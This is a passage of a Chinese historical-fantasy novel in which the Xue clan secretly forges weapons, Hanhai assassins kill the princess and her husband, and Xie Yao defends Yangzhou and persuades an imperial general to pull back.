谢杳心头一震,小满过目不忘,不会说错,更何况这些人的衣着,她绝不会看错。
她渐渐生出一个极荒诞的念头,难道圣上要对江宁侯府下手?
“不去楚州了,回江宁!”
***
元庆策马赶到薛府时,薛府门庭冷清,透着一股怪异。
他顾不得多想,径直进了府。
府内各处都是侍卫把守,与外面是截然不同的天地。
管家见来人是他,急忙笑脸相迎走上前,拦住了他的去路。
“二殿下,家主吩咐了,任何人都不见。”
元庆眸光一沉,生出几分不悦。
“不是外祖父传信,召本殿归乡吗?”
“确是如此,可郎中吩咐了,这几日家主不可见客,否则不利病体。”
元庆极不耐烦,“那本殿何时能见到外祖父?”
“一日后便可。”
“怎么不见永乐公主?”元庆环顾四周,也没看到元承双,不免有些奇怪。
“公主……早产了。”
元庆转身欲走,又被管家拦下,“二殿下少安毋躁,公主那边尚有驸马,如今家主病倒,薛府还需您主持大局。”
“你威胁本殿?”
“老奴不敢,这一切皆是依家主之令行事,若有得罪,还望二殿下大人不记小人过。”
元庆颔首,暗自盘算:不过阔别一年的洛阳,到底缘何这般草木皆兵?
也罢,他倒要看看外祖父葫芦里究竟卖的是什么药。
“哇——”
元承双抱起榻上的孩子,轻轻地晃着。
谢景闻声惊醒,拿起一件衣裳,给元承双披好。
“玄明,你别在桌案那儿倚着了,回书房休憩吧。”
谢景轻轻摇头,“我在这儿陪着你,也能帮一帮忙。”
元承双莞尔,摆手示意他坐过来。
她慈爱地望着怀中安睡的孩子,轻声说道:“我还没想好她的名字。”
谢景倒不甚着急,“我取的你又不满意,这丫头怕是要成无名氏了。”
元承双撇了撇嘴,“单名一个晓字,未免有些太过简单。”
“简单有何不好?”谢景转而望向她怀中的孩子,“小丫头,你定要像你阿娘一般,简单纯粹,做个正直良善之人。”
元承双忍俊不禁,“她还小,哪里听得懂。”
谢景伸手将孩子抱到自己怀中,轻轻抚摸她的小脸,眉目间满是温柔。
“承双要是没想好,‘晓’字便先做她的乳名吧,左右也还来得及。”
“晓晓。”她一字一顿地念道。
谢景的目光辗转在母女二人的身上,溢满了欢喜。
待孩子睡熟后,他轻轻将她放于榻上,犹豫着开口:“外祖父那边,我先代你去探望吧。”
元承双心绪不宁,拉住他的衣袖,“我总觉得哪里不对,外祖父怎会突然病重,而且我生产后的这些时日,忽然又没了消息。”
“不管如何,作为晚辈,我们须得前去探望,你刚生产完不宜走动,且安心待着,有任何情况我回来讲予你听。”
谢景安抚好她的情绪,拿着披风出了府。
他并未直接行至薛府前门,而是绕道至后门。
谢景四下观察发现并无异样,正打算离开,后门却蓦地被人推开。
那人的面容与印象中渐渐重合,他最终确定出来的人是薛府的管家。
管家警惕地望向四周,确认无人后,吹了声口哨,一辆马车疾驰而来,将他接走。
马车的车辙印上,沾满了泥土,谢景蹲在地上,依稀能闻到一些奇怪的味道。他不免起疑,薛凌寒病重,府上的人怎还会有闲心外出,难道他是在装病?
谢景边往回走,边思索着,薛凌寒已告老多年,偏居洛阳,圣上不会再视他为眼中钉,那薛凌寒装病还有何缘由呢?
铁匠铺内,匠人用力地捶打着还未成形的铁器,炉中的炊烟被风吹散,飘向各处。
谢景脚步一顿,猛地回头,这个味道,正是刚刚马车驶过留下的余味。
泥土,铁器,他的心中闪过一个极为骇人的念头:薛氏在城外私铸兵器。
他努力稳住心神,默默盘算,私铸兵器要找掩人耳目的地方,所以定是在城外无疑,城南紧邻洛河,并无可藏匿之所,城西、城东村落密集,也不利隐藏,城北倒是有几处矿洞。
想到这儿,他疾步跑回公主府。
“桃夭,备马!”
“驸马,出了何事?”
“来不及细说,你记住,若是我今夜未归,你便立刻带公主回长安。”
言罢,谢景跃上马,向城北的方向策马而去。
洛阳城外几十里的一
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个矿洞内,火星四溢,匠人们忙碌着,将废铜烂铁铸成一把把利器。
薛凌寒立在一旁,脸上堆满了笑意。
“紫夜使,大业将成,少不了你的功劳。”
他身侧的蒙面人轻轻点头,眸光寒意彻骨,如蛰伏在暗夜里的恶兽,等待着猎物的到来,然后一击毙命。
“薛大人打算先从何处下手?”
“江宁侯府。”
这个答案,令他不甚满意。
“大人未免有些过于保守了。”
薛凌寒幽幽开口:“元朔多疑,声东击西可以保存实力,何乐而不为?”
“罢了,杀何人不是杀,我瀚海的狼牙,不挑。”
待他离开后,薛凌寒的笑意更盛,筹谋多年,他终于等到了这一日。
薛氏的兵力有限,无法于长安正面交锋,若想坐拥大晟江山,光靠挟天子以令诸侯还不够。
谢弈安虽忠心不二,他那女儿却不是省油的灯,必不会袖手旁观江南的战乱。元朔忌惮江宁侯府已久,江南若乱,帝心必乱,到那时南北开战,长安兵力空虚,正好趁虚而入。
“嘎吱——”
薛凌寒神色一敛,循声走到洞口,环视各处,只有面前的一只黑猫。
他舒了口气,抬脚将那黑猫踹走,却忽地瞥见地上的布条。
薛凌寒缓缓蹲下拾起布条,阴恻地勾了勾唇,月白色,驸马。
谢景颤抖地跃上马,顾不上细想,直奔城内的江洋酒肆。
“大公子?”掌柜见到他,很是惊诧。
“薛氏于城北矿洞内私铸兵器,恐有谋反之心,你速速将此消息传信姑姑。”
谢景三言两语向掌柜交代完,转身就要离开,却被掌柜拦下。
“大公子,你恐怕已经暴露,还是先待在这儿稳妥。”
“那公主和孩子怎么办?”
“薛凌寒未必会对公主怎么样,反倒是大公子你,他们若是知道,必会将你灭口。”掌柜苦口婆心劝道。
谢景摇头,挣脱开他的手,“我不能抛下她们,独自逃离。”
元承双艰难地起身,帮着桃夭收拾行囊。
“公主,这些桃夭收拾得完,你歇着便可。”
“多一个人就多一分力,我们快些收拾,待玄明回来,我们便离开。”
桃夭眼眶微红,“驸马说,若入夜他还未归,我们便先行离开,回长安。”
元承双的动作一滞,眼底瞬间弥漫上一层雾气。
她顿了顿,缓缓开口:“桃夭,你现在就带晓晓走。”
“公主,桃夭不能丢下你一个人。”桃夭拉住元承双的手。
元承双回握住她的手,“桃夭,晓晓就托付给你了,你去找母后,皇兄,或是阿杳,只要她平安长大就好。”
“公主同我们一起走吧。”桃夭猛地跪下。
元承双用力将她扶起,厉声喝道:“快走!”
桃夭抱起孩子,向元承双躬身见礼,“公主放心,桃夭定会用命保护这个孩子。”
她疾步跑上马车,怀中的孩提像是感应到了什么,啼哭不止,桃夭亦泪流满面,她轻轻晃了晃手臂,就像公主哄晓晓时一样。
“晓晓别怕。”
马车向城西驶去,速度极快,刚好与策马归来的谢景擦肩而过。
“公子,到底怎么了?”苍术扶着面色惨白的谢景下了马。
“苍术,你立刻回江宁,告知父亲、母亲,让他们务必防范,薛氏恐要谋反。”
苍术闻言一惊,“苍术走了,公子怎么办?”
“我与承双这便回长安,你且安心前去。”
“公子,桃夭已带孩子先行离开,你与公主务必要尽快。”
苍术不再犹豫,极快地跃上马,“公子,保重!”
元承双将府内的下人全部遣散,然后快步走向前厅。
谢景迎着她走来,将她打横抱起,边走边与她解释道:“你外祖假借病重为由,实则于城北矿洞内私铸兵器,恐有谋反之意。”
元承双倒吸了一口凉气,声音颤抖,“我哥哥应该也在洛阳。”
谢景心头一震,确信薛氏谋反无疑。
他担心元承双胡思乱想,温声开解,“承双不必担忧,你外祖父不会轻易动二殿下的。”
元承双的眼泪终是忍不住夺眶而出,她自以为顺遂平宁的日子,就这么被轻易碾碎,成了缥缈的奢望。
一个身披玄紫色斗篷的蒙面人跃下屋檐,拦在公主府的大门前。
他架起弓,却未搭箭。
“真是鹣鲽情深,可惜了,只能做一对亡命鸳鸯!”
25. 第二十四卷·浮生若梦
日薄西山,最后一缕日光斜照在公主府的檐上,转瞬即逝。
谢景轻轻放下元承双,将她护到身后。
“此事与公主无关,放她离开。”
那蒙面人微微蹙眉,永乐公主是薛大人的外孙女,若出了事,确实棘手。
他极不耐烦地抬手,示意元承双尽快离开。
元承双攥紧谢景的衣袖,“我不走,我若走了,他们定不会放过你。”
谢景用力甩开她的手,将她推远,“快走!”
“想不到江宁侯府的小侯爷还是个有担当的正人君子,真叫人惋惜,谁让你多管闲事呢。”
那蒙面人毫不犹豫,搭箭射向谢景。
几乎同时,元承双快步抱住谢景,转了个方向,箭矢穿过她的左肩,涌出殷殷鲜血,染红了她的衣襟。
她抬眸望向谢景,眼神中带着不甘和眷恋,她的目光一寸一寸滑过谢景的脸,似是要将他的面容刻在骨血里。
“好……好痛。”
谢景捂住她的伤口,无措地像个孩子,“承双别怕,我带你走。”
他抱起她,没走几步,就被那蒙面人踹翻在地。
那蒙面人目光阴恻,不带一丝情绪,“公主可以走,你不行。”
谢景艰难坐起,扶好元承双,“我带你走。”
元承双面色惨白,她左肩的鲜血止不住地外涌,痛得她说不出话,她拉住谢景的手臂,用力摇头示意。
谢景与她额头相抵,轻声开口:“别急,慢慢说。”
“对不起……是我害了你。”
“别胡说,能遇到公主,是谢景此生之幸。”
“你快走……我……我撑不住了。”
谢景的泪打在元承双手上,给了她这副冰冷身躯唯一的一点温热,让她万般不舍,她艰难地睁着眼,凝眸望向他。
“幸好……晓晓无恙……玄明……我们来世再做夫妻。”
言罢,元承双拉着谢景的手一松,缓缓合上眼。
“承双!”
“元承双!”
谢景轻轻晃了晃她,撕心裂肺的喊声响彻府内。
“我要杀了你!”
他眼底猩红,猛地起身,冲向那蒙面人。
“不自量力。”
蒙面人不屑地勾了勾唇,一掌将谢景打倒在地,“小侯爷,就凭你还想为她报仇,真是可笑!”
正当他欲再次出手时,薛凌寒匆匆赶来。
“双儿!”
薛凌寒快步扶起元承双,将她揽在怀里,颤抖地伸出手——怀中的人早已没了鼻息。
他神色悲恸,沉声道:“紫夜使,你未免有些太过了!”
那蒙面人作揖请罪,“薛大人,我本欲射杀驸马,却没想到公主替他挡箭,开弓没有回头箭,我亦左右不得,此番确是我行事不周,给大人赔罪了。”
薛凌寒眸光渐冷,人死不能复生,他的大业却还要继续。
成大事者不拘小节,更何况瀚海还有利用价值,他不能在这个时候翻脸。
他缓缓起身,露出一个可怖的笑容,“劳烦紫夜使,公主府内一个不留。”
“薛凌寒,你必被碎尸万断,不得好死!”谢景死死地拽住他的衣角。
那蒙面人掏出袖中的短刃,抬手插进谢景的颈处,大量的鲜血喷涌而出,溅得满地猩红。
“薛大人放心,这公主府内的下人走不远,我已派人去追,必不会有漏网之鱼。”
薛凌寒颔首,“放出消息,驸马与公主不睦,失手将公主杀害后畏罪自尽。”
“大人好谋算。”
“记住,孩子留下。”薛凌寒拂袖离去。
夜色凄冷,寒如冰窟。
杜鹃啼叫不休,洛阳城一夜间入了冬。
马车驶出城门不久,晓晓便啼哭不止,声音越来越大,桃夭束手无策,只好抱着她轻声安抚。
这一路虽畅行无阻,桃夭却不敢懈怠半分,她昼夜不停地驾着车,终于在一日后驶到了长安郊外。
她舒了口气,正打算回身查看晓晓的情况,却瞧见岔路口一个身披玄紫色斗篷的人策马直奔她们而来。
桃夭立时察觉出异样,勒马掉头,马车后一群黑衣人从天而降,拦住了她的去路。
“救命啊!”
前后皆被围堵,她别无他法,只得大声呼救。
“嘘——”
策马而来的那人架起弓,毫不犹豫地瞄准她,射出箭。
桃夭没见过这种场面,吓得动弹不得,紧紧闭上双眼。
片刻后,她睁开眼,那箭矢竟没有落在她身上。
一个身着红衣的女子从树上跃下,向她喊道:“进去!”
桃夭顾不得弄清她的身份,连滚带爬地进了马车,紧紧抱住晓晓。
“阿宪?”
“阁下怕是认错人了,我是瀚海的紫夜使,不是什么阿宪。”阿宪的声音带着一丝微不可察地颤抖。
“紫夜使?”那红衣女子轻笑,“我只听过瀚海的紫墨使。”
“休要再提我阿姊!”
“你既还认她是你阿姊,为何不听她的话?”那女子声色俱厉,“她平生最恨无端杀戮,如今早已退出纷争,你这么做,不怕她寒心吗?”
“谢阿姊,你也曾救过我,我不会对你出手,但这孩子,我今日必须带走。”
“除非我死,否则谁也带不走她。”
谢弈月抽出腰间软剑,拦在车前。
阿宪抬手,示意马车后的黑衣人不要插手。
“谢阿姊,得罪了。”
他勒紧缰绳,在接近马车时,拔剑劈开车舆,极快地跃下马,抢过桃夭怀中的孩子。
谢弈月出剑,刺向他的手臂,他吃痛,力一松,孩子从他的臂弯中滑落,被桃夭稳稳接住。
谢弈月趁机步步紧逼,很快他便落了下风。
“快进城!”
桃夭抱着孩子艰难地上了马,一旁的黑衣人见状,拉弓射向马。
马受惊一跃,桃夭被甩了下来,她见马蹄向她踏来,急忙将怀中的晓晓撇开。
“姑娘!”
谢弈月快步跑过去抱起孩子,回身望向桃夭。
“快……快走。”
言罢,桃夭断了气。
谢弈月起身,斩断马车上的缰绳,跃上马。
她忽地感觉右肩巨痛,微微低头,一支箭射穿了她的肩膀,她抬手将露在外的箭头折断,疾驰而去。
“紫夜使,我们还追吗?”
阿宪扬手给了那黑衣人一巴掌,“谁让你放箭的?”
“若不放箭,大人如何向薛国公交代?”
“你在教我做事?”
那黑衣人不再多嘴。
阿宪望着谢弈月离去的背影,舒了口气,这世间真心待他之人不多,如此也算报了她的恩情。
起初,谢弈月只是感到疼痛,入城后,她感到内力尽散,呕出一口黑血。
瀚海的箭矢上有毒,晏无染曾说过的,她竟给忘了。
她找到一处破庙,将背后的箭杆折断,稍作小憩,待暮色阑珊,才回了楼内。
“师父,你怎么了?”
月见见到面色惨白的谢弈月颇为慌张,急忙接过她怀中的孩子,这才发现,她中了箭。
“是何人将您伤成这样?”
“瀚海的杀手,洛阳生变,尽快传信昭昭。”
月见为谢弈月处理好伤口,扶着她躺好,才忽地想起太子还在楼内等候,“师父,太子殿下还在楼内,您可要见?”
谢弈月颔首。
“姑姑,你这是怎么了?”
“子启,洛阳生变,公主府上下恐已罹难,只留下这个孩子。”
“孩子?”元序微怔,“承双和玄明的孩子?”
月见将孩子抱给他,元序轻轻接过幼小的孩提,凝眸望着她,内心五味杂陈。
“姑姑,孤送你们回江宁。”
谢弈月神情复杂,“子启不将她带回宫中吗?”
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“皇宫人心难测,危机四伏,不如让她在昭昭身边,简单、自由地长大。”
谢弈月叹了口气,“子启,你……”
元序打断她的话,“姑姑不必劝了,孤心意已决。”
他转而望向段策,“阿策,你回东宫取些东西,再留一张字条,明日一早便启程。”
薛府祠堂内,元庆望着棺材里了无生机的妹妹,失了理智。
“外祖父当本殿是傻子吗?”
元庆将酒撒在门边,眸光阴冷,盯着薛凌寒。
“庆儿,难道你认为是外祖父下的手吗?”薛凌寒故作悲恸,言辞恳切。
“那孩子呢?您如何解释?”
“孩子定是被驸马藏匿,送回了江宁。”
元庆付之一笑,用力将烛台掀翻,火苗立刻燃烧起来,冒出滚滚黑烟。
薛凌寒懒得再装下去,抬手向门外示意。
大火很快被扑灭,除了被烧得黝黑的地面,其余皆是徒劳。
“外祖父是要谋反吗?”
“庆儿此言差矣,这皇位本该是你的,外祖父不过是帮你一把。”
元庆轻笑,“你是为了你自己。”
“庆儿莫要再做无谓的挣扎,老老实实地待在洛阳。”
“二殿下,请吧。”一群黑衣人上前,将元庆押回卧房。
“差不多是时候了。”薛凌寒转而望向檐上的人。
阿宪颔首,吹了声口哨,将各处的黑衣人召集起来,连夜离开了洛阳。
***
谢杳返程时,沿途偷偷观察着来往的人流,离江宁越近,生面孔越少,让她不免有些质疑自己的判断,难道是她过于敏感了?
“怎么回事?”小满疑惑地左右张望着,“我不应该看错啊。”
“这些人继续南下了,也说不准。”棠梨猜测道。
她们思前想后得不出结果,都纷纷望向沉默的谢杳,等着她开口。
“若要南下,应当走水路,那样岂不是更方便?”
小满抢先得出了结论,“阿姊的意思是,他们原路返回了?”
谢杳颔首,她愈发肯定,这些人是在声东击西,他们妄图让江宁草木皆兵,以此来掩盖他们真正的目的。
这般境况下,就算江南道有城池沦陷,其他州府也不敢贸然出兵增援。
她眉头微蹙,凉风透窗袭来,依旧不能让她的思路清明。
不是江宁,那会是哪里呢?
“小姐,我们临时起意,还未来得及知会陆小侯爷一声。”棠梨提醒道。
谢杳叹了口气,“事出有因,相信阿宇他不会怪罪,等我们回府查明情况,再去看他便是。”
谢杳入了府,立即将路上见闻告知双亲。
谢弈安与高燕交换了个眼神,心中有了成算。
高燕幽幽开口:“怕是淮南道要出事。”
“阿娘何以如此肯定?”谢杳不解。
“不是东夷,不是圣上,又多聚集在扬州附近,并不难猜。”
谢弈安神色凝重,“看来他们对府内的一举一动了如指掌,还算准了昭昭的心思,来者不善啊。”
“恐怕他们的目的还是江宁侯府。”高燕转而望向谢杳,“静观其变吧。”
谢杳颔首,心中隐隐不安,不知怎的,她近日眼皮直跳,总觉得会有大事发生。
如果他们的目标是江宁侯府,那淮南道首当其冲的便是扬州,可扬州有高家军在,不易起正面冲突,那便只剩下……楚州。
她匆匆退出堂内,快步回到卧房,提笔写了两封信,一封叮嘱陆琼宇万事小心,一封向外祖借兵,驰援楚州。
“下雪了!”
门外一阵嘈杂。
谢杳推开窗,伸手去接,江南不常下雪,更极少下得这般早,确实稀奇。
她闭上眼,感受这万籁俱寂的时刻,彼时的她还不知晓,这将会是江宁侯府最后的一夕安宁。
漫天风雪,上下一白,隐没了来时途,也迷蒙了前方路。
26. 第二十五卷·鸡鸣不已
大雪停息的第二夜,几个黑衣人借着夜色潜进楚州的粮仓。
几处零星的火苗被风一吹,瞬间燃烧成一片火海。
陆琼宇连夜赶至粮仓,勉强救下三分之一的粮食,正当他为仓廪而犯愁时,噩耗接踵而至。
楚州西南面距扬州不远的钱家镇昨夜遇袭,全镇的人皆命丧火海。
陆琼宇掩面叹息,他接到谢杳的信后,已经派人严守城门,加强排查,可还是防不胜防,酿成此等悲剧。
他将州府的事宜与下属交接,又调了一队人马,亲自前往钱家镇探查。
积雪深深,断裂的屋檐露出焦炭般漆黑的裂痕,黄土白骨都化作灰烬,成了一缕烟尘。
他到钱家镇时,眼中所见便是这样一副景象。
“是何人发现的?”
“回大人的话,是扬州前往楚州探亲的百姓路过时发现的。”
陆琼宇环视四周,这镇子被烧成这副模样,很难有幸存之人。没有人证,那便找物证,他身为楚州刺史,绝不能允许这等作奸犯科之事不了了之。
“搜!我不信这群人没有留下破绽。”
***
洛阳有异,不能铤而走险,无奈之下,元序只好驾车南下,先抵襄州。
他不欲多留,径直向东行进,在出了襄州城大约十里后,谢弈月蓦地呕出一口黑血,晕厥了过去。
元序顾不得其他,连忙返回城内,寻了一处医馆。
“郎中,我姑姑这是怎么了?”
郎中心下惊骇,但瞧着面前的几人不似大奸大恶之辈,最终决定坦言相告,“她中了毒,这毒生得古怪,恐怕时日无多。”
“中毒?”元序闻言一惊,难掩焦急之色,“那您可有办法医治?”
郎中摇了摇头,连连叹气,“我只能施针,尽力压制住毒性,可这毒不解,她还是会死。”
谢弈月眼睫微颤,强撑着睁开眼,“能多一日生机便好,足以支撑我到江宁。”
“姑姑,我带您回长安。”说着,元序便要扶起谢弈月。
谢弈月抬手止住他的动作,“来不及了,我一人的性命与他们相比无足轻重,我们每耽误一刻,他们的危险就多一分,他们等不起。”
元序眼眶微红,犹豫着不肯放手。
“子启,若是你,你会如何抉择?”
纵使元序口中不答,也不能掩藏心中答案,若是他,也会不顾一切,哪怕牺牲自己的性命,也要护住家人,护住一城百姓。
“郎中,请您施针吧。”
元序默默退至屋外,他从未感觉到自己如此无力,但他不得不承认,在天命面前,人就是这般渺小,无可奈何。
***
钱家镇经几番查探,除了寻到一块烧得残缺不全的令牌外,别无所获。
陆琼宇拿着令牌在城中各处走访,也没弄清它的出处。
那群放火的贼人没再动作,沉寂了数日,整个楚州都陷入恐慌的情绪中,人人自危。
可年节还要继续,转眼已是冬至,城中车水马龙,挤满了归乡的人潮。
火树银花,照得暮色也生出几分旖旎。
陆琼宇理完簿册,舒了口气,剩下的粮食勉强能支撑楚州捱过这个隆冬,也算是不幸中的万幸了。
萦绕着欢声笑语的街市忽地被一声惊叫打破,人流奔涌四散,向各处逃离。
城中巡逻的士兵逆流而上,与黑衣人交手,惊叫声、打斗声混成一片,犹如人间炼狱。
陆琼宇来不及换上护甲,拔剑匆匆出府,将正欲破门而入的几个黑衣人踹翻在地。
他将剑抵在其中一个清醒的黑衣人颈下,“你们是何人,意欲何为?”
“取你命的人!”
陆琼宇转身将身后伺机偷袭的黑衣人斩杀,极快回身揪起地上的贼人,“说!”
“大业将成,小小楚州刺史,不过是螳臂当车!”
那人狂笑着说完,咬破口中的毒药,自尽而亡。
楚州北面燃起熊熊大火,火势随风而动,向南方袭来,隐有灭城之势。
烽火连天,四面楚歌。
陆琼宇与守城的将士一起,将城内的百姓转移出去后,苦苦支撑在城中,扫除余孽。
一阵马鸣声传来,高家军精锐纷纷跃下马,与楚州守城军共同作战。
众人艰难辗转于城中,终于在晨光熹微之时将大火扑灭。
“阿宇!”
一个清脆的声音幽幽传来。
陆琼宇循声回头,鏖战一夜,他神情恍惚,分不清面前的人是梦还是真实。
谢杳快步跑上前,扶住摇摇欲坠的他,“有没有伤着?”
陆琼宇迟缓地摇头,拉住她的手臂,“阿杳,你快回去,这里危险。”
“我又不是没上过战场。”谢杳安慰他道。
她的目光扫过一片狼藉的楚州城,心中生出一个不好的预感:楚州沦陷,下一个城池,恐怕就是扬州。
“先随我回扬州吧。”
陆琼宇颔首,与谢杳一道上了马车。
驸马谋害公主的骇闻传到长安没多久,楚州动乱的消息便纷至沓来,一时间朝野震荡。
百官纷纷进言,几方各执其词,争论不休,其一咬定江宁侯府有谋反之心,请圣上出兵江南;其一极力反驳,认为事有蹊跷,应待查清公主遇害的真相后,再行诏令;还有小部分人暗自观望,不置可否。
自始至终,朔光帝未发一言,让人辨不清他对此事的态度。
下朝后,他密召连山,于含元殿内议了一个时辰,随之而出的不止连山,还有出兵江南的诏令。
连山却未与军队同行,连夜出了长安。
扬州高府内,谢杳和陆琼宇对坐无言,楚州动乱,再加之钱家镇满镇被屠,已死伤无数百姓,而他们却连贼人的身份还尚未查清,真是好生憋屈。
“除了这块被烧得面目全非的令牌,钱家镇再无所获。”
谢杳接过令牌,脸色忽变,“瀚海!”
“什么?”陆琼宇被她没来由的话弄得一愣。
“我初到长安时与他们交过手。”谢杳忆及过往,将元序的话原封不动地复述给他,“这块令牌是流沙令,乃西羌一名为瀚海的杀手组织所有,持令者可召唤隐藏于世间各地的瀚海杀手,这些杀手行事不拘泥于朝,也并非都为羌族之人。”
陆琼宇直击要害,“如此说来,幕后之人定不会是圣上。”
谢杳不答,示意他继续说下去。
“君要臣死,臣不得不死,圣上若想动江宁侯府何须这般大费周章。”
“可不管幕后之人缘何、是谁,此番都是冲着江宁侯府而来。”谢杳叹了口气,“江南动乱,帝心必疑。”
“话虽如此,却有一事诡异非常。”
陆琼宇与谢杳目光交汇,二人心中所想,不言而喻。
夜阑人静,惟余风声掠过和几声鸟鸣。
谢杳独自立在檐上,俯瞰扬州万家灯火,心中已有成算。
楚州不比扬州,这里多小桥流水,大火是烧不尽的,近来风势渐微,他们难以故技重施,倒是更添了几成胜算。
扬州城门紧闭,无论往来南北,皆不予通行,水路倒是畅通无阻。一连数日下来,城中的人口便叫谢杳摸了个一清二楚。
第四日黄昏,巡逻的士兵发现瓜洲渡口浮着一具死尸,便将人捞上岸,陆琼宇恰在附近探查,很快确认了那人的身份。
“可是有异动?”
谢杳见他这失魂落魄地模样,下意识摸向腰间的软剑。
“自瓜洲渡捞上来一具死尸,是苍术。”
谢杳闻言,愣怔地跌坐在竹椅上,哥哥的侍卫怎会出现在扬州?
她思绪翻涌,很快便猜到了答案。
“薛凌寒。”
谢杳声音颤抖,她不敢相信,只愿自己是猜错了,可她到底太过清醒,根本骗不了自己。
陆琼宇蹙眉,“洛阳?”
“报——”
高府内的小厮疾步赶来,打断了他们二人。
“二小姐,陆刺史,贼人凫水进城,已悉数被擒。”
谢杳起身,与陆琼宇并肩出府。
他们刚迈出门槛,一个身披玄紫斗篷的蒙面人便从天而降,拦住了他们的去路。
“谢二小姐好算计。”
谢杳抽出腰间软剑,睨向来人,“到底还是算漏了一个。”
来人轻笑感叹,“怪不得大晟皇帝和薛大人忌惮,原是江宁侯府出了这等惊才绝艳之辈。”
“瀚海独立于天地方圆,何以为薛凌寒所驱。”
“世人所求,不过功名利禄,瀚海亦如此,有何奇怪?”
谢杳付之一笑,“至少,我所听闻的瀚海紫墨使便不会。”
阿宪眸色渐沉,陡然出剑。
谢杳抬手挡下剑招,将陆琼宇推远。
陆琼宇会意,毫不犹豫向外跑去。
谢杳挽了个剑花,逼得阿宪连连后退,只得将陆琼宇放走。
“好一个谢二小姐,倒是我小看你了!”
阿宪解下斗篷,作势一甩,谢杳握紧手中软剑,劈开斗篷,霎时,一把剑径直向她刺去,她退了数十步,向后一仰,软剑撑地发出尖锐的剑鸣。
门外声音愈加嘈杂,不免让阿宪有一丝分神,谢杳趁机,借力跃起,划伤了他的右臂。
阿宪见局势不占上风,转身欲离开,却被谢杳拦下。
二人僵持在檐上,被陆琼宇唤来的援兵重重包围。
阿宪勾了勾唇,将右手的剑换至左手,用力劈向她,这一剑至少使出八成功力,谢杳手中的软剑被内力震断,碎成两半。
“阿杳!”
陆琼宇将手中的剑扔给她,他心急如焚,又别无他法,只恨自己没将轻功练就,帮不上忙。
谢杳向旁一跃,稳稳接住他扔来的剑,极快破了阿宪的剑招。
几个回合下来,谢杳愈加吃力,再这般下去,恐叫他逃脱。
“放箭!”
“不可,阿杳你先下来。”
“快啊!”
陆琼宇咬牙喝道:“放箭!”
几十支箭矢铺天袭来,谢杳艰难地躲避着,将剑横转着撇向阿宪,他躲闪不及,坠下檐去。
高家军将他团团围住,将长枪架在他脖颈上,以防他逃脱。
陆琼宇接住被箭矢伤得浑身是血的谢杳,轻轻将她扶稳。
“谢二小姐虽比你那窝囊兄长要强得多,但到底也不过是只蝼蚁。”
“你们把我哥哥如何了?”
“他自作聪明寻到薛大人的隐秘之所,便不能怪我们留不得他。”阿宪嗤笑,“你兄长乃是被我亲手所杀。”
谢杳眼底猩红,带着几分杀意,“你们谋杀当朝驸马,是要造反吗?”
“不是我们,是你兄长,谋害公主,又畏罪自尽。”他抬眸,迎上谢杳的目光,“在那愚蠢多疑的大晟皇帝眼中,你兄长,哦不,是江宁侯府,才是意欲谋反之人。”
“薛凌寒想将谋反的屎盆子扣到江宁侯府上,也要看看他有没有这个命。”
谢杳提剑刺向他的左臂,“别以为有了二殿下,你们就能顺理成章坐上大晟的皇位,四方仁义之士不会容许,天下百姓亦不会容许。”
阿宪面色渐沉,“就算二小姐猜到了,也阻止不了,大晟皇帝多疑,早将江宁侯府视作眼中钉、肉中刺,你们反与不反,结果都无异。”
他话音刚落,便见谢杳扬起衣袖,白色粉末扑面而来。
“弑兄之仇,我定会一一报还,现下他还有用,好生看守。”
谢杳眸光悲凉,望向远处墨色浸染的天际,莫名忆起长安的过往。
除却幼年时的不谙世事,她最快乐的日子,竟是在长安为质的那五年,如今想来,真是可笑。
***
朔光二十二年大寒,北风凛冽,寒意刺骨,一片肃杀景象。
浩荡的大军兵临扬州城下,驻扎数日,最终在这个雪夜,猝然攻城。
扬州城门缓缓打开,一个身着素衣的女子不急不徐地走了出来。
“江宁侯府谢杳,求见将军。”
秦将军策马来到阵前。
“本将奉圣上旨意平定江南,缉拿江宁侯府之人回京,谢二小姐若有冤屈,待到圣上殿前,亲自分说罢。”
谢杳作
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揖,“素闻秦将军为人清正,礼贤下士,谢杳才斗胆孤身前来,辩上一辩。”
她抬眸望向马上的人,不卑不亢地说道:“江南叛乱已平,楚州动乱皆系西羌瀚海杀手所为,这些人悉数被擒,皆囚于扬州牢狱,城楼之上,便是他们的首领,紫夜使。”
陆琼宇将阿宪向前推至垛口处,扬声喊道:“秦将军,我乃楚州刺史陆琼宇,谢二小姐已助我捉拿贼寇,此事与江宁侯府断无干系,莫要误了忠良。”
“那永乐公主一事,又当作何解释?”
“不瞒将军,兄长与阿嫂一事,谢杳也是近来才知晓,这骇人听闻的消息,传自洛阳,也就是瀚海如今所效力的真正幕后之人,大晟的薛国公。”
此言一出,军中一阵骚乱。
“一派胡言!尔怎敢妄议百官之首,薛国公为大晟鞠躬尽瘁,绝不至此。”
“二殿下可在长安?”
秦将军不解地摇头。
“薛国公意图谋反,挟二殿下登基,拜相亲政。”
“黄口小儿,这不过是你的一面之词,谁知江南各府不是暗中勾结,助你江宁侯府一跃成皇?”
“将军不是不信,而是不敢。”谢杳直截了当,“若将军相信,便只能退兵,无异于忤逆圣上。”
“你……”
“那将军可否想过,这天下万民,哪一个不是大晟的子民,这里的每一位将士,还有江南的每一个百姓,哪一个不是?”
谢杳的声音响彻阵前。
“兵法云,声东击西,如今长安兵力空虚,薛军可直抵皇宫,秦将军若要南下,必激起民愤,江南横尸遍野,不过是自相残杀。”
谢杳言罢,身后一片嘈杂,她转身望过去,自城门涌出无数百姓,将她围在人群中间。
“若不是谢二小姐和陆刺史,我们便会流离失所!”“将军,江宁侯府皆为良善之辈,求将军开恩!”
……
“将军,这可如何是好?”副将试探着问道。
秦将军望着眼前景象,大为动容,他或可按兵不动,暂且缓上些时日,待真相查明,也不迟。
“退兵!”
“秦将军高义,谢杳拜谢将军。”
陆琼宇舒了口气,“总算无事了。”
谢杳眉头紧锁,默不作声。
陆琼宇伸手在她眼前晃了晃,“阿杳?”
“军中副将是何人?”
“似是姓霍。”
“此事进展的过于顺利,必有蹊跷。”
谢杳转而望向棠梨,“告诉守城的将士们,让他们近日务必留心。”
她拉住棠梨,又嘱咐道:“传信阿爹,将江宁一半的兵力调至扬州,越快越好。”
“此举过于凶险,万一他们绕过扬州攻打江宁,便势如破竹。”陆琼宇劝道。
谢杳摇头,“薛凌寒意在长安,不会出兵攻打江南,瀚海如今沦为阶下囚,便已是弃子,圣上不能无缘无故出兵,因此城外便是全部。”
她拍了拍陆琼宇和棠梨的肩膀,已是宽慰,“赌一把吧。”
此一战,不战而退,军营人心涣散,秦将军为鼓舞士气,摆起篝火宴席,犒赏三军。
副将为他斟满酒,再提起自己的酒杯,与将士共饮。
